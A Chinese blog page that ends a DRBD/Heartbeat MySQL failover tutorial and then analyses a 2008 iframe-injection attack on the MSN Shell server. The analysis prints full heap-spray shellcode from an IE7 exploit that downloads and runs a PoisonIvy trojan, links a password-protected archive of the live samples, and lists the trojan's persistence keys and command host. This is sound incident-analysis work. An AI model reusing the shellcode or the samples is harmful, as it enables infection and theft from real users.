可以看到4G的資料初始化同步花了97秒,平均同步速率為 43056 K/sec

MySQL設定

分別在NODE-A & NODE-B執行 mkdir /DB 建立 /DB 作為/dev/drbd0的掛載點
此時在Primary NODE-A 上先對 /dev/drbd0 建立filesystem(XFS),並掛載於/DB
NODE-A:
mkfs.xfs /dev/drbd0
mount /dev/drbd0 /DB

NODE-A:
先將MySQL停掉(如果有在執行的話),再把MySQL的資料由 /var/lib/mysql 搬移到 /DB/mysql 上
/etc/init.d/mysql stop
mv /var/lib/mysql /DB
修改 /etc/mysql/my.cnf 中的 datadir= /DB/mysql

Debian 的MySQL-Server 有個比較特別的地方是安裝時會建立一個debian-sys-maint的DB Account並產生隨機密碼以供MySQL啟動檢查/維護用.相關資訊及密碼會記錄於 /etc/mysql/debian.cnf 內,因為配合DRBD有更改預設的datadir,
所以在 /etc/mysql/debian.cnf 內的[mysql_upgrade]設定區段中也必須加上 datadir= /DB/mysql ,

否則在啟動MySQL時在syslog中會出現下面的錯誤
/etc/mysql/debian-start[_PID_]: Can't find data directory. Please restart with --datadir=path-to-writable-data-dir

因為NODE-A & NODE-B的MySQL資料檔案是放在DRBD上面,也就是兩個NODE使用的是同一組資料,包含啟動檢查所需的debian-sys-maint帳號/密碼,
所以必須將NODE-A上面的 /etc/mysql/my.cnf & /etc/mysql/debian.cnf 複製到NODE-B上,
這樣當發生failover切換時NODE-B才能正常啟動MySQL.

HeartBeat設定

這邊使用設定上比較單純的Heartbeat R1 compatible clusters

在NODE-A 上產生/etc/ha.d/authkeys
( echo -ne "auth 1\n1 sha1 "; dd if=/dev/urandom bs=512 count=1 | openssl md5 ) > /etc/ha.d/authkeys
chmod 0600 /etc/ha.d/authkeys

把NODE-A 剛產出的 /etc/ha.d/authkeys 複製到HOST-B

HOST-A heartbeat主設定檔
/etc/ha.d/ha.cf

autojoin none
ucast eth0 192.168.1.12          #點對點偵測 HOST-B 的IP
ucast eth1 192.168.100.12     #點對點偵測 HOST-B 的IP
ping 192.168.1.254                        #其他IP連線偵測,給個夠穩定的IP供偵測網路狀態用
respawn hacluster /usr/lib/heartbeat/ipfail
respawn hacluster /usr/lib/heartbeat/dopd
apiauth dopd gid=haclient uid=hacluster
udpport        694
warntime 5     #偵測到節點異常後的等待警告時間
deadtime 15  #偵測到節點異常後的等待切換時間
initdead 60    #初始啟動等待60秒
keepalive 2   #每兩秒偵測一次
node NODE-A
node NODE-B
auto_failback off   #當Default Primary(NODE-A)掛掉再恢復之後不自動取回Primary的身分,以避免頻繁切換影響服務

HOST-B heartbeat主設定檔
/etc/ha.d/ha.cf

autojoin none
ucast eth0 192.168.1.11          #點對點偵測 HOST-A 的IP
ucast eth1 192.168.100.11     #點對點偵測 HOST-A 的IP
ping 192.168.1.254                        #其他IP連線偵測,給個夠穩定的IP供偵測網路狀態用
respawn hacluster /usr/lib/heartbeat/ipfail
respawn hacluster /usr/lib/heartbeat/dopd
apiauth dopd gid=haclient uid=hacluster
udpport        694
warntime 5
deadtime 15
initdead 60
keepalive 2
node NODE-A
node NODE-B
auto_failback off

NODE-A & NODE-B heartbeat資源設定檔
/etc/ha.d/haresources

NODE-A  \
192.168.1.10/24  \
drbddisk::r0  \
Filesystem::/dev/drbd0::/DB::xfs::noatime  \
mysql

裡面指定NODE-A為Default Primary,綁定IP為192.168.1.10,使用DRBD resource r0 , 將/dev/drbd0 掛載於 /DB ,指定為xfs,使用noatime參數,最後啟動mysql

HeartBeat failover測試

正常情況

NODE-A為Primary ,DRBD resource r0在NODE-A上為Primary, /dev/drbd0 掛載於 /DB ,MySQL在NODE-A上運作,eth0:0 綁定 192.168.1.10 以提供服務 ,
此時WEB或是其他APP對 192.168.1.10 進行MySQL的資料連線,由NODE-A進行處裡.
NODE-A & NODE-B的heartbeat相互偵測,同時也對額外的PingNode 192.168.1.254進行偵測, NODE-B待命, DRBD resource r0在NODE-B上是屬於Secondary,NODE-A的 /dev/drbd0資料異動會及時寫到NODE-B上

網路發生異常時

當NODE-A的網路出現異常(網線中斷或網卡故障)時, NODE-A 在偵測到此狀況後會先將MySQL停止,卸載 /DB 目錄,將DRBD resource r0 /dev/drbd0設為 Secondary.
而後NODE-B 接手將DRBD resource r0 設為Primary, /dev/drbd0 掛載於 /DB , 再將MySQL 啟動, eth0:0 綁定 192.168.1.10 以提供服務 ,
FailOver過程中WEB或是其他APP對DB IP:192.168.1.10的連線會中斷,但當FailOver動作完成之後重連便由NODE-B進行處裡.

主節點死掉時

當NODE-B偵測到主節點(NODE-A)死掉的時候,會主動將DRBD resource r0 設為Primary, /dev/drbd0 掛載於 /DB , 再將MySQL 啟動, eth0:0 綁定 192.168.1.10 以提供服務

MySQL with DRBD效能測試

使用MySQL附帶的 sql-bench (/usr/share/mysql/sql-bench) 中的 test-create & test-insert來分別針對 MySQL DATAFILE在一般磁碟分區與DRBD上進行測試比較.以下擷取幾個比較明顯的測試數據,主要差距發生寫入動作上,select讀取並沒有太大差異 .
N代表MySQL DATAFILE放在一般硬碟分區上,D代表MySQL DATAFILE放在DRBD上,檔案系統使用XFS,DB格式為MyISAM

test-create
N Time for create_MANY_tables (10000): 27 wallclock secs ( 0.11 usr  0.09 sys +  0.00 cusr  0.00 csys = 0.20 CPU)
D Time for create_MANY_tables (10000): 67 wallclock secs ( 0.31 usr  0.18 sys +  0.00 cusr  0.00 csys =  0.49 CPU)
N Time for drop_table_when_MANY_tables (10000):  7 wallclock secs ( 0.13 usr  0.48 sys +  0.00 cusr  0.00 csys =  0.61 CPU)
D Time for drop_table_when_MANY_tables (10000): 35 wallclock secs ( 0.19 usr  0.75 sys +  0.00 cusr  0.00 csys =  0.94 CPU)
N Time for create+drop (10000): 22 wallclock secs ( 0.20 usr  0.23 sys +  0.00 cusr  0.00 csys =  0.43 CPU)
D Time for create+drop (10000): 57 wallclock secs ( 0.83 usr  1.29 sys +  0.00 cusr  0.00 csys =  2.12 CPU)
N Time for create_key+drop (10000): 25 wallclock secs ( 0.26 usr  1.05 sys +  0.00 cusr  0.00 csys =  1.31 CPU)
D Time for create_key+drop (10000): 48 wallclock secs ( 0.43 usr  0.55 sys +  0.00 cusr  0.00 csys =  0.98 CPU)
N Total time: 84 wallclock secs ( 0.84 usr  2.11 sys +  0.00 cusr  0.00 csys =  2.95 CPU)
D Total time: 210 wallclock secs ( 1.86 usr  3.10 sys +  0.00 cusr  0.00 csys =  4.96 CPU)
test-insert
N Time for insert (300000): 34 wallclock secs ( 1.35 usr  9.09 sys +  0.00 cusr  0.00 csys = 10.44 CPU)
D Time for insert (300000): 39 wallclock secs ( 2.46 usr 26.74 sys +  0.00 cusr  0.00 csys = 29.20 CPU)
N Time for insert_duplicates (100000):  9 wallclock secs ( 0.42 usr  3.08 sys +  0.00 cusr  0.00 csys =  3.50 CPU)
D Time for insert_duplicates (100000): 12 wallclock secs ( 1.29 usr  2.22 sys +  0.00 cusr  0.00 csys =  3.51 CPU)
N Total time: 610 wallclock secs (85.82 usr 184.06 sys +  0.00 cusr  0.00 csys = 269.88 CPU)
D Total time: 623 wallclock secs (111.64 usr 116.01 sys +  0.00 cusr  0.00 csys = 227.65 CPU)

由上面比較可以看出在進行 test-create 做大量的create table動作時,因為MyISAM每個table都有三個實體檔案(.frm .MYI .MYD)的特性,所造成大量的建檔動作對DRBD的負擔較重,效能下降的幅度高達 250%.
而在進行test-insert時只是單一table進行資料寫入,效能下降幅度較輕微(寫入動作效能約降1/4~1/5).
一般情況下MySQL並不會有大量的create table動作,所以搭配DRBD原則上是在資料異動寫入時耗損約1/4~1/5的效能,所以進行評估時就看在即時備援的考量之下是否可接受這個效能降低的代價了.

參考資料
The DRBD User's Guide : Chapter 8. Integrating DRBD with Heartbeat clusters: http://www.drbd.org/users-guide/ch-heartbeat.html
MySQL 5.0 Reference Manual :: 14.2 Using Linux HA Heartbeat: http://dev.mysql.com/doc/refman/5.0/en/ha-heartbeat.html

相關資源
MySQL: http://www.mysql.com
Linux-HA: http://linux-ha.org/
DRBD: http://www.drbd.org/
Heartbeat: http://linux-ha.org/Heartbeat

2008-12-24

MSN SHELL 所在SERVER遭ARP掛馬??

2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬點出了我在2009-03-11時一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是我們由外部現況及有限的證據進行猜測,並沒法接觸到問題的真正核心點.真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

2009-03-11 update.
經過目前找到的ARP掛馬工具實測ARP 掛馬的作業模式觀察之後來觀察ARP掛馬的封包特徵,發現ARP掛馬並不會在gateway之外出現兩個封包,而是直接攔截修改封包插入html資訊,所以此次所發現的異常封包似乎不像目前已知的ARP掛馬，由相關封包特徵來看應該比較接近
大規模網頁綁架轉址：威脅未解除，但專家都猜錯了這篇的分析結果"IP spoofing"
這種攻擊方式應該屬於網路節點中途攔截並搶先送出假造封包.2008年底發生的這個事件跟2009年三月的大規模轉址非常類似，只是2008年底發生時並沒有引起太大的重視罷了。

*2009-03-09 updat.近日大規模網頁綁架模式似乎與此案例有些類似*

*2008-12-29 update. 下載木馬遭更新*

MSN SHELL是很多人會喜歡用的MSN外掛,因為它提供了訊息加密的功能.不過在今天發現了除了有MSN ACCOUNT洩漏的問題外,更嚴重的還是MSN SHELL所在的蒐集資料SERVER可能遭到ARP掛馬(ARP欺騙劫持掛木馬).所造成的影響恐怕非常巨大..

今天(2008-12-24) 電腦一開機登入MSN後小紅傘就報警
'HTML/Infected.WebPage.Gen [virus]'

看起來是IE的CACHE中有中標的可能,不過因為我沒用IE當BROWSER很久了(都用FireFox),
所以就去查了下IE的CACHE目錄,
發現到報警的gol.htm 如下圖

從這裡可以看到gol.htm 是從 http://shell09.msnshell.com/ 過來的,
而且這個request還會把MSN版本,MSNSHELL版本,語系,及使用的MSN ACCOUNT傳回到 shell09.msnshell.com 這台SERVER上去

在IE CACHE中gol.htm的內容是

在最前面被插了個長寬都是0的 iframe,連到

http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m (URL用空格處裡了,以免被誤按)
抓下這個 index3.htm來看

明顯就是個掛馬的檔案,我這邊還沒時間去分析它的內容.
看起來像是針對前兩天MS才公佈的IE7漏洞修正.

另外這個IFRAME中連結的60.248.23.20是台灣的IP,

再來分析為什麼 shell09.msnshell.com (222.73.57.115)會被掛木馬,而且時有時無.

從封包來看
request gol.htm 後回來的第一個封包就被插了iframe

但是http header中的server information是Tiny Httpd.
而接下來的才是正常封包

http header中的server information是 Apache/2.2.4 (Unix)
這才是 shell09.msnshell.com (222.73.57.115)的http server吐出來的封包.

另外再測試直接 request shell09.msnshell.com (222.73.57.115) 網站根目錄的情況,

也是一樣,先來個TinyHttpd吐出的 iframe然後才是Apache2回應的403

所以推測 MSN SHELL負責收集訊息的 shell09.msnshell.com (222.73.57.115) 這台伺服器所在的機房網段應該是有其他機器中了ARP掛木馬病毒,才會硬插吐iframe出來 ??

有用MSN SHELL的朋友請提高警覺,同時立即進行WINDOWS &病毒碼的UPDAET.否則稍一疏忽就有中標的可能.

後記
1. 60.248.23.20 這台機器是一間台灣公司 "上麥資訊"的機器.
不知道是自己放的木馬還是被當成僵屍?

2. index3.htm 確定是利用前幾天的IE7 0Day漏洞攻擊, 看來現在類似這種的掛馬方式都是出來一份以後大家抄來抄去改來改去的. XD
而其中的
spray(a1+"9090"+"%u8b55%u81ec%ub4c4%ufffe%u60ff%u05eb%u458f%uebe8%ue845%ufff6%uffff%u7468%u7074%u2f3a%u362f%u2e30%u3432%u2e38%u3332%u322e%u2f30%u6174
%u6978%u412f%u7463%u7669%u5865%u652e%u6578%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%ud233
%u30b2%u8b64%u8502%u78c0%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u4589%u83fc%u3cc0%u008b%u4503%u83fc%u78c0%u008b
%u4503%u8bfc%u2070%u7503%ue9fc%u0134%u0000%u458f%uc7d8%uf845%u0000%u0000%u7d8b%ufcd8%u28eb%u5756%ub950%uffff%uffff%uc032%uaef2%ud1f7%u4d89%u58f4
%ue85f%u0176%u0000%u758d%u03b8%uf875%u1689%u035e%uf47d%u4583%u04f8%u3f80%u7500%u47d3%u8d57%ub8b5%ufffe%u56ff%uff68%u0000%uff00%uc055%u45c7%u73d8
%u6264%uc72e%udc45%u7865%u0065%u45c7%u00e0%u0000%uc700%ue445%u0000%u0000%u758d%u56d8%ubd8d%ufeb8%uffff%uff57%uc855%u45c7%u75d8%u6c72%uc76d%udc45
%u6e6f%u642e%u45c7%u6ce0%u006c%uc700%ue445%u0000%u0000%u758d%u56d8%u558b%u8dbc%uec7d%u00be%u8860%ub97c%u0006%u0000%ua4f3%u32e8%u0001%u8900
%ufc45%u758d%ubfec%u6000%u7c88%u06b9%u0000%uf300%u5fa4%uff57%ufc75%u7d8d%u64ec%u04a1%u0000%u8900%u6407%u08a1%u0000%u8900%u0447%uc764%u0405
%u0000%u0000%u8860%u647c%u05c7%u0008%u0000%u6000%u7c88%u55ff%u89b8%ub485%ufffe%u8dff%uec75%u068b%ua364%u0004%u0000%u468b%u6404%u08a3%u0000
%u6a00%u6a00%u8d00%ub8bd%ufffe%u57ff%u75ff%u6ae8%uff00%ub495%ufffe%u6aff%u8d00%ub8b5%ufffe%u56ff%u55ff%u6acc%uff00%ud055%uc7e8%ufffe%u47ff%u7465%u7250
%u636f%u6441%u7264%u7365%u0073%u6f4c%u6461%u694c%u7262%u7261%u4179%u4700%u7465%u6554%u706d%u6150%u6874%u0041%u736c%u7274%u656c%u416e%u6c00
%u7473%u6372%u7461%u0041%u6957%u456e%u6578%u0063%u7845%u7469%u7250%u636f%u7365%u0073%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54%u6946%u656c
%u0041%u56eb%u508b%u5718%u5251%u8b56%u0336%ufc75%uf3fc%u5ea6%u595a%u745f%u8306%u04c6%u754a%u8be8%u1848%uca2b%ue1d1%u508b%u0324%ufc55%ud103
%uc933%u8b66%ud10a%ud1e1%u8be1%u1c50%u5503%u03fc%u8bd1%u0312%ufc55%uff5b%u58e3%u00b9%u8860%u517c%u01c6%u8968%u0141%u41c6%uc305%ue2ff");這一長串,解開後可以在裡面發現藏了下載的URL ,

h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e (為避免意外發生,一樣在每個字元中間加了個空格)
改天有空在來研究下牠到底幹了些啥

3. 抓下來的ActiveX.exe 丟到 Virustotal 上的分析報告

File ActiveX.exe received on 12.24.2008 17:25:37 (CET)
Current status:finished Result: 9/39 (23.08%)

Antivirus	Version	Last Update	Result
a-squared	4.0.0.73	2008.12.24	-
AhnLab-V3	2008.12.25.0	2008.12.24	-
AntiVir	7.9.0.45	2008.12.24	-
Authentium	5.1.0.4	2008.12.24	W32/PoisonIvy.E.gen!Eldorado
Avast	4.8.1281.0	2008.12.24	-
AVG	8.0.0.199	2008.12.24	BackDoor.PoisonIvy
BitDefender	7.2	2008.12.24	Trojan.Downloader.Agent.ZCR
CAT-QuickHeal	10.00	2008.12.24	-
ClamAV	0.94.1	2008.12.24	-
Comodo	809	2008.12.24	-
DrWeb	4.44.0.09170	2008.12.24	-
eSafe	7.0.17.0	2008.12.24	-
eTrust-Vet	31.6.6276	2008.12.24	-
Ewido	4.0	2008.12.24	-
F-Prot	4.4.4.56	2008.12.24	W32/PoisonIvy.E.gen!Eldorado
F-Secure	8.0.14332.0	2008.12.24	W32/PoisonIvy.gen22
Fortinet	3.117.0.0	2008.12.24	-
GData	19	2008.12.24	Trojan.Downloader.Agent.ZCR
Ikarus	T3.1.1.45.0	2008.12.24	-
K7AntiVirus	7.10.564	2008.12.24	-
Kaspersky	7.0.0.125	2008.12.24	-
McAfee	5473	2008.12.23	-
McAfee+Artemis	5473	2008.12.23	-
Microsoft	1.4205	2008.12.24	Backdoor:Win32/Poisonivy.E
NOD32	3716	2008.12.24	-
Norman	5.80.02	2008.12.24	W32/PoisonIvy.gen22
Panda	9.0.0.4	2008.12.24	-
PCTools	4.4.2.0	2008.12.24	-
Prevx1	V2	2008.12.24	-
Rising	21.09.22.00	2008.12.24	Trojan.Win32.Undef.vir
SecureWeb-Gateway	6.7.6	2008.12.24	-
Sophos	4.37.0	2008.12.24	-
Sunbelt	3.2.1809.2	2008.12.22	-
Symantec	10	2008.12.24	-
TheHacker	6.3.1.4.199	2008.12.23	-
TrendMicro	8.700.0.1004	2008.12.24	-
VBA32	3.12.8.10	2008.12.24	-
ViRobot	2008.12.24.1534	2008.12.24	-
VirusBuster	4.5.11.0	2008.12.24	-

Additional information
File size: 11776 bytes
MD5...: 68fb7e446198055cece63ae002065f98
SHA1..: f3528e710b6e73741fca0d5ffb4f31022616ab30
SHA256: 8e25f68a836b0c562cd575ff3b56f2073df4414d102eb97e0cf79a7c5423340b
SHA512: 9a456f53c90685f24eab8da8bfd95ce959b6f582831f5ec7f8598ba135844311 f782fabd1d8a33f582f860426b24915b4f3fec24f2bbb81fa417ce03a59a7876
ssdeep: 192:p3yFbGZTscP4oyn+5MYNmtNJD5UxMpuYGunUQGdD4RxvjqbqUA2cm4RX2Q3M 7Sfr:JOGZYi4o5MYNAJD5UyuYVnUQG9axvjqW
PEiD..: Armadillo v1.71
TrID..: File type identification Win32 Executable Generic (42.3%) Win32 Dynamic Link Library (generic) (37.6%) Generic Win/DOS Executable (9.9%) DOS Executable Generic (9.9%) Autodesk FLIC Image File (extensions: flc, fli, cel) (0.0%)
PEInfo: PE Structure information ( base data ) entrypointaddress.: 0x4013c0 timedatestamp.....: 0x49503e0f (Tue Dec 23 01:25:35 2008) machinetype.......: 0x14c (I386) ( 3 sections ) name viradd virsiz rawdsiz ntrpy md5 .text 0x1000 0x515 0x600 5.28 4bdf9e12b88dc8c76c7e22d733e4e4e4 .rdata 0x2000 0x2b4 0x400 3.42 9480d3dc61527ddfacb7fb9373fbcc60 .data 0x3000 0x1e60 0x2000 7.82 984d3ad35e502800c4b95c340aeb5ae4 ( 2 imports ) > MSVCRT.dll: _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, __setusermatherr, _controlfp, _initterm, __getmainargs, __p___initenv, exit, _XcptFilter, _exit, __CxxFrameHandler, _except_handler3, __3@YAXPAX@Z > KERNEL32.dll: lstrcpyA, lstrcatA, CreateFileA, WriteFile, CloseHandle, WinExec, ExitProcess, GetModuleFileNameA

看來檢出率還不是很高

4. 2008-12-26. 從這兩天的訪客來源看,有不少是搜 60.248.23.20 & gol.htm 過來的,看來已經有不少人都發現這情況了吧.

5. 抓下來的ActiveX.exe 我在封閉環境測試執行後會生出 C:\WINDOWS\system32\mftp.exe & 123.bat(這是run完後把自己幹掉的batch檔),然後在HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 底下生出一個名稱是 svchost.exe 的啟動執行項目去執行 C:\WINDOWS\system32\mftp.exe ,不過奇怪的是 mftp.exe 跟 ActiveX.exe 是一模一樣的檔案(比對MD5SUM完全相同),好像也沒看到做其他事情..可能需要再進一步分析..

6. 2008-12-27 目前60.248.23.20這台機器似乎是無法連線了,不知是已經發現處裡了還是無法負荷過量的連線需求,在 2008-12-24該台機器還能連線時我有測試過,那是台Windows 2000的機器.

7. http://www.swm.idv.tw/60.248.23.20_torjan.zip 這是從2008-12-25 從 http:// 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / i n d e x 3 . h t m & h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 抓下來的檔案,解壓縮密碼為 60.248.23.20 ,有興趣者可以抓回去研究研究 (!!小心!!)

8.2008-12-28 目前這個ARP掛木馬iframe index3.htm 的災情似乎有擴大的趨勢,現在已知受影響的站點還有 forum.vbulletin-china.cn (125.89.79.139), 也是一樣應該是受到ARP綁架掛馬的波及.

9.2008-12-29 update
拿nmap掃了下 60.248.23.20 這台機器 (Windows 2000)
發現有開啟的port如下
Discovered open port 3389/tcp on 60.248.23.20 Windows RDP
Discovered open port 21/tcp on 60.248.23.20 FTP
Discovered open port 8888/tcp on 60.248.23.20 ????
Discovered open port 5800/tcp on 60.248.23.20 VNC-HTTP
Discovered open port 5900/tcp on 60.248.23.20 VNC
Discovered open port 1433/tcp on 60.248.23.20 MS-SQL
估計是沒人管的機器被當黑進去利用了

今天測試 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 這個檔案居然有改版了, 之前抓下來的是
ActiveX.exe 2008-12-23 09:25 11776 bytes md5sum:68fb7e446198055cece63ae002065f98
今天發現已經換成新的了
ActiveX.exe 2008-12-26 15:07 12800 bytes md5sum:4405441a2b01ad5fce015cdd5a8c80fe
這個檔會被我裝的小紅傘攔截到TR/Dldr.Agent.12800.3 [trojan].(先前的不會), 估計先前那個是拿來做實驗不然就是沒寫好的.
把他丟到 Virus.Org 去分析 (因為virustotal好像掛了)

The following represents the test results from the virus scanners used by the Virus.Org scanning service when it performed the scan on the file 'ActiveX.exe_20081229_TORJAN'.

File: ActiveX.exe_20081229_TORJAN
SHA-1 Digest: 9ad1f1b647d6266a2a7dd4e7ee5b1d091bc7ce7f
Size: 12800 bytes
Detected Packer: Microsoft Visual C++ v5.0/v6.0 (MFC)
Status: Infected or Malware (Confidence 30.43%)
Date Scanned: Mon Dec 29 12:03:22 +0000 2008

Scanner Scanner Version Scanner Engine Scanner Signatures Result Scan Time
A-Squared 4.0.0.29 N/A 1230552006 Clean 30.88 secs
Arcavir 1.0.5 N/A 14:07 13-12-2008 Clean 21.83 secs
avast! 1.0.8 N/A 081228-0 Win32:Rootkit-gen 73.27 secs
AVG Anti Virus 7.5.52 442 270.10.1/1867 Clean 70.36 secs
Avira AntiVir 2.1.12-100 7.9.0.45 7.1.1.45 TR/Dldr.Agent.12800.3 107.02 secs
BitDefender 7.81008 7.22837 2390111 Trojan.Downloader.Agent.ZCR 23.78 secs
CA eTrust N/A 31.06.00 31.06.6274 Clean 21.35 secs
CAT QuickHeal 10.00 N/A 29 December, 2008 Clean 77.78 secs
Comodo 3.0 3.0 834.4321976 Clean 10.70 secs
CPSecure 1.15 1.1.0.715 26/12/2008 10:37AM Clean 101.28 secs
Dr. Web 4.44.0.10060 4.44.0.9170 494777 Clean 73.74 secs
F-PROT 4.6.8 3.16.16 20 November 2008 Clean 62.52 secs
F-PROT 6 6.2.1.4252 4.4.4.56 200812282035 W32/PoisonIvy.E.gen!Eldorado 32.33 secs
F-Secure 1.10 6392 2008-12-29_03 Backdoor.Win32.Poison.ous [AVP] 94.35 secs
Ikarus T3SCAN 1.32.4.0 1.01.45 2008-12-29 04:57:50 Clean 108.05 secs
Kaspersky 5.7.13 1367201 29-12-2008 Backdoor.Win32.Poison.ous 211.55 secs
McAfee Virusscan 5.30.0 5.3.00 v5477 Clean 51.25 secs
Norman Virus Control 7.00.00 5.93.01 5.93.00 Clean 175.55 secs
Panda 9.04.03.0001 1847194 28/12/2008 Clean 26.53 secs
Sophos Sweep 4.36.0 2.81.2 4.36 Clean 63.30 secs
Trend Micro N/A 8.700-1004 736 TROJ_POISON.LO 10.59 secs
VBA32 3.12.8.10 N/A 2008.12.28 Clean 54.87 secs
VirusBuster 2005 1.3.4 4.3.23:9 9.144.53/11.0 Clean 44.53 secs

而這個新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 如果被下載執行了以後,會發生的動作如下
a.將自己複製一份到 C:\WINDOWS\system32\svahost.exe
b.在registry的
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
新建一筆開機執行
"svchost"="C:\\WINDOWS\\system32\\svahost.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{6605C18D-7259-D9DB-F7B2-7EF7712E0D2A}
"StubPath"="C:\\WINDOWS\\system32\\svahost.exe"

c.紀錄所有執行程式&滑鼠鍵盤動作in C:\\WINDOWS\\system32\\svahost 紀錄內容如下
=================================================================
trlAltCtrlAlt?? * - WINDOWSsysum 2Num 8Num 6Enter?sva? + KVMware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - Wiresharkum 2Num 2Num 2Num 2?? - m 匯出登錄檔案aaa? - + ?aaa.reg - 記事本trl?
=================================================================
d.試圖連線到 lovepi.8800.org tcp_port 80 (121.10.214.100[廣東汕头市])

很明顯就是一隻木馬程序.

10. 2008-12-31 update. 那隻新的 h t t p : / / 6 0 . 2 4 8 . 2 3 . 2 0 / t a x i / A c t i v e X . e x e 已經有專業分析報告出來了

11. 2009-01-02 update. Google 搜尋 60.248.23.20 那個木馬頁面能被搜到了, 囧~~

而那個 http://60.248.23.20/taxi/index3.htm 中的特徵
var mystr ="http://rਊr.book.com";
可以從GOOGLE用 rਊr 搜尋會有原理介紹.
Virus Total 針對 index3.htm的解析報告 ActiveX.exe的解析報告

12. 2009-03-09 update. 最近(2009三月初)爆出cnet/msn taiwan也有出現莫名轉址的情況,
這陣子因為雜務過多沒花太多時間去追這次大規模轉址攻擊的相關證據,不過由網上有人擷取到封包來看,也是第一個http回應封包前面被插了iframe,跟之前發現的模式很相近.
去年(2008)聖誕節前後的事件因為受影響的網站知名度普遍不夠高,所以並沒有引起廣泛的重視..相關資訊去GOOGLE搜尋 60.248.23.20 可以找到一些受害者的資料.
如果還不知道什麼是ARP掛馬,請GOOGLE一下吧
GOOGLE找 ARP+掛馬結果是約有102,000項符合ARP 掛馬的查詢結果,可是把搜尋範圍鎖定在台灣的網頁,就只有469項符合ARP 掛馬的查詢結果.
ARP掛馬前兩年在中國的IDC裡面老早就被人玩爛了,很訝異台灣居然討論的人那麼少.
不過就算真的是IDC裡面某台機器有問題成為掛馬的元兇,應該也會在發現後湮滅掉證據,真正的實情如何我想應該是不會被公開出來的,各位專家就繼續猜吧~~XD

13. 2009-03-11 update. ARP 掛馬的作業模式觀察
由目前找到的ARP掛馬工具實測並觀察封包模式之後來看,ARP掛馬並不會在gateway之外出現兩個封包,所以這種攻擊方式應該比較屬於網路節點中途攔截並搶先送出假造封包.

14.2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是由外部現況及有限的證據進行猜測,並沒法接觸到問題的核心點.真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

15.2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬點出了我在2009-03-11時的一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.

訂閱：文章 (Atom)